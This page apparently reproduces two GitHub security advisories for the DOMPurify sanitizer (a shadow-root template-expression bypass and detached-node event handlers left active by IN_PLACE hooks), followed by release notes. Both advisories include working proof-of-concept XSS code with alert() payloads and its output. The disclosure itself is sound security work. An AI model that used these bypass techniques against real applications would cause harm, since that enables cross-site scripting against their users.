An attacker who controls DOM-node input containing an attached shadow root can inject template expressions that survive sanitization and are later evaluated by the application's template engine. In client-side contexts this yields cross-site scripting; in a server-side template context it can escalate to template injection. Exploitation requires non-default application configuration: the application must enable SAFE''FOR''TEMPLATES and a DOM-returning mode, pass a DOM node that already has an attached shadow root, and feed the sanitized shadow root content into a template evaluator. The shadow root does not have to be built programmatically with attachShadow : in engines that support declarative shadow DOM, attacker-supplied markup containing <template shadowrootmode="open"> parsed through setHTMLUnsafe or Document.parseHTMLUnsafe produces the same attached shadow root, so a plain HTML string reaches the gap once the application is configured this way. Demonstrated capability is injection of a complete, attacker-chosen expression into post-sanitization shadow root content; the resulting script execution and any confidentiality or integrity consequence depend on the downstream engine's evaluation context.
##### Proof of Concept
{{{text
Preconditions:
- DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).
- A browser (or DOM implementation) with shadow DOM support.
- Application constructs a DOM node with an attached shadow root before sanitizing,
and later evaluates the shadow root's text content as a template.
{{{
Build a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with SAFE''FOR''TEMPLATES :
{{{javascript
const host = document.createElement('div');
const root = host.attachShadow({ mode: 'open' });
// Split "${alert(document.domain)}" so no single fragment matches a regex.
// <object> is not in the default ALLOWED_TAGS and is removed during sanitization,
// leaving the surrounding text-node siblings adjacent.
root.appendChild(document.createTextNode('$'));
root.appendChild(document.createElement('object'));
root.appendChild(document.createTextNode('{alert(document.domain)}'));
DOMPurify.sanitize(host, { IN''PLACE: true, SAFE''FOR_TEMPLATES: true });
// After the disallowed element is removed, the fragments are adjacent and survive.
host.shadowRoot.normalize();
console.log(host.shadowRoot.textContent);
{{{
{{{text
${alert(document.domain)}
{{{
A downstream template evaluator reading shadowRoot.textContent (for example new Function('return ' + content + ' ')() or any ${...} / {{...}} engine) then evaluates the fully formed expression.
##### Attack Chain
1. '''Exposure:''' The application calls DOMPurify.sanitize(node, cfg) ( src/purify.ts:2854 ) with SAFE''FOR''TEMPLATES: true and IN''PLACE: true (or a shadow-aware RETURN''DOM ), passing a DOM node that already carries an attached shadow root.
2. '''Control:''' The attacker controls the shadow root's text nodes and the disallowed separator elements between them; each fragment ( $ , {alert(document.domain)} ) is a valid, individually benign text node.
3. '''Path:''' ''sanitizeAttachedShadowRoots ( src/purify.ts:2977 ) feeds the shadow root into ''sanitizeShadowDOM ( src/purify.ts:2710 ), which strips expressions per text node ( src/purify.ts:2246 ) and removes the disallowed separator elements, leaving the fragments adjacent.
4. '''Guard:''' The post-walk safety net _scrubTemplateExpressions ( src/purify.ts:3131-3132 ) is the only pass that would catch the merged expression, but it never recurses into shadow roots ( src/purify.ts:1717-1751 recurses into <template>.content only).
5. '''Primitive:''' The adjacent fragments serialize as a single concatenated string on shadowRoot.textContent / shadowRoot.innerHTML , reconstituting the complete expression.
6. '''Result:''' A downstream template engine evaluates the attacker-chosen expression, achieving script execution (or template injection) in the engine's context.
##### Bypass Evidence
The relevant protection is SAFE''FOR''TEMPLATES , specifically the post-walk pass that defends against expressions that only form after adjacent text nodes merge. That defense was previously extended to <template>.content under CVE-2026-65900 (GHSA-gvmj-g25r-r7wr) by adding querySelectorAll('template') recursion at src/purify.ts:1743-1750 . The strongest challenge is whether any code path performs the equivalent merge-and-rescrub inside shadow roots. Enumerating every call site of ''scrubTemplateExpressions ( src/purify.ts:1717 , 1747 , 3132 , 3141 ) shows none receive a shadow root, and ''sanitizeShadowDOM ( src/purify.ts:2710 ) never calls ''scrubTemplateExpressions or normalize() . The per-node strip cannot compensate: MUSTACHE''EXPR ( src/regexp.ts:3 ) requires {{ or }} , TMPLIT''EXPR ( src/regexp.ts:5 ) requires ${ , and ERB''EXPR ( src/regexp.ts:4 ) requires <% or %> , none of which appear in a single-character fragment. The CVE-2026-65900 regression tests exercise <template>.content only; no test covers shadow root content under SAFE''FOR''TEMPLATES . The gap is therefore an unfixed case on a distinct remediation boundary (shadow roots) rather than a bypass of the delivered template-content fix.
##### Affected Versions
- '''Ecosystem:''' npm
- '''Package:''' dompurify
- '''Confirmed affected range:''' >= 3.4.4, <= 3.4.16
- '''Latest release checked:''' 3.4.16 ([https://www.npmjs.com/package/dompurify/v/3.4.16 npm registry])
- '''Fix status:''' not fixed
The lower bound 3.4.4 is the release that introduced both the attached-shadow-root sanitization pass and the _scrubTemplateExpressions safety net; releases 3.4.4 through 3.4.7 carry the safety net with no content-container recursion, and 3.4.8 onward add <template>.content recursion but still omit shadow root recursion. No published release and no current development revision contains a shadow-root fix.
##### Suggested Fix
Enforce the same post-walk normalize-and-rescrub invariant on attached shadow roots that already applies to <template>.content . After ''sanitizeShadowDOM finishes walking a shadow root, run ''scrubTemplateExpressions over that shadow root so adjacent text nodes created by element removal are merged and re-stripped; alternatively, have _scrubTemplateExpressions discover and recurse into attached shadow roots as it does for template content. The fix must cover nested shadow roots and shadow roots inside <template>.content , and it must handle all three expression dialects, since any disallowed element can serve as the separator that produces adjacent fragments.
---
Reported by zx (GitHub: @manus-pi).
=== Severity ===
- CVSS Score: 9.2 / 10 (Critical)
- Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-cg2g-xh64-v4q7 https://github.com/cure53/DOMPurify/security/advisories/GHSA-cg2g-xh64-v4q7]
- [https://github.com/cure53/DOMPurify/pull/1672 https://github.com/cure53/DOMPurify/pull/1672]
- [https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575 https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.17 https://github.com/cure53/DOMPurify/releases/tag/3.4.17]
This data is provided by [https://osv.dev/vulnerability/GHSA-cg2g-xh64-v4q7 OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).
---
== DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p) ==
[https://github.com/advisories/GHSA-mrv2-3pqr-j5jr GHSA-mrv2-3pqr-j5jr]
=== Details ===
##### Summary
The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an IN_PLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.
The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.
##### Tested versions
- 3.4.16 (latest) and main at 18f8f0e
- also 3.4.15, 3.4.12 and 2.5.8
jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.
##### Details
src/purify.ts line 2134 ( dist/purify.cjs.js line 2009 in 3.4.16), _handleHookDetachedNode() :
{{{js
if (currentNode === root || getParentNode(currentNode) !== null) {
return false;
}
if (IN_PLACE) {
_neutralizeSubtree(currentNode);
}
{{{
It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed , so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.
##### PoC (jsdom)
{{{js
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document
for (const mode of ['self', 'parent', 'nextSibling']) {
const DOMPurify = createDOMPurify(win)
doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
'<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
const root = doc.getElementById('root')
const evil = doc.getElementById('evil')
// app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.getAttribute && node.getAttribute('class') === 'bad') {
if (mode === 'self') node.remove()
if (mode === 'parent') node.parentNode.remove()
if (mode === 'nextSibling') node.nextElementSibling.remove()
}
})
DOMPurify.sanitize(root, { IN_PLACE: true })
console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}
{{{
Output on 3.4.16:
{{{
3.4.16 self onerror = null
3.4.16 parent onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"
{{{
In self mode the walker still reaches the second image and strips onerror . In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements , uponSanitizeElement , afterSanitizeElements , beforeSanitizeAttributes and afterSanitizeAttributes .
##### PoC (browser)
The same thing in a real page, served from 127.0.0.1 and opened in Chromium:
{{{html
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
const D = DOMPurify(window);
D.addHook('afterSanitizeAttributes', n => {
if (n.getAttribute && n.getAttribute('class') === 'bad') {
if (mode === 'parent') n.parentNode.remove();
if (mode === 'self') n.remove();
}
});
const root = document.createElement('div');
document.body.appendChild(root);
root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
D.sanitize(root, { IN_PLACE: true });
return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
document.getElementById('log').textContent =
'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>
{{{
Result on 3.4.16:
{{{
version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]
{{{
The returned tree is clean in both cases, but the handler on the detached image runs in the page for parent .
##### Impact
An app that uses IN_PLACE with a hook that removes a wrapper or a nearby element (for example "drop the whole <figure> if its image is not allowed") gets DOM XSS from attacker markup after sanitize() returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.
##### Suggested fix
Instead of only checking currentNode , check after each hook call whether anything outside the current node was detached. Two simple options:
- before calling a hook in IN_PLACE mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under root
- or, after the walk, neutralize every element that was in the original tree but is no longer connected to root (for example by collecting the elements before the walk)
=== Severity ===
- CVSS Score: 7.6 / 10 (High)
- Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr]
- [https://github.com/cure53/DOMPurify/pull/1672 https://github.com/cure53/DOMPurify/pull/1672]
- [https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575 https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.17 https://github.com/cure53/DOMPurify/releases/tag/3.4.17]
This data is provided by [https://osv.dev/vulnerability/GHSA-mrv2-3pqr-j5jr OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).
---
== Release Notes ==
== [https://github.com/cure53/DOMPurify/releases/tag/3.4.17 v3.4.17 ]: DOMPurify 3.4.17 ==
[https://github.com/cure53/DOMPurify/compare/3.4.16...3.4.17 Compare Source]
- Fixed an issue with IN''PLACE , SAFE''FOR_TEMPLATES and shadow roots, thanks [https://github.com/manus-pi @manus-pi]
- Fixed IN_PLACE handling of nodes that hooks or custom elements tough during sanitization, thanks [https://github.com/uttej-badwane @uttej-badwane]
- Fixed the SMIL attributeName guard in XHTML mode, thanks [https://github.com/Koukyosyumei @Koukyosyumei]
- Hardened several smaller edge cases (namespaces, literal-text elements, isValidAttribute() ), thanks [https://github.com/artiphishell @artiphishell]
- Added a purify-edge test runner as a compatibility check, thanks [https://github.com/anzal1 @anzal1]
- Clarified the IN_PLACE documentation in the README about possible risks
- Updated several dependencies
== [https://github.com/cure53/DOMPurify/releases/tag/3.4.16 v3.4.16 ]: DOMPurify 3.4.16 ==
[https://github.com/cure53/DOMPurify/compare/3.4.15...3.4.16 Compare Source]
- Fixed a problem with IN_PLACE node removal when working with hooks, thanks [https://github.com/manus-pi @manus-pi]
- Fixed a problem with IN_PLACE sanitization and raw-text roots, thanks [https://github.com/h-t-m @h-t-m]
- Fixed a problem with ESM default exports landing in CommonJS declarations, thanks [https://github.com/ssi02014 @ssi02014]
- Migrated from rollup to rolldown because performance, thanks [https://github.com/ssi02014 @ssi02014]
- Bumped several dependencies where possible
---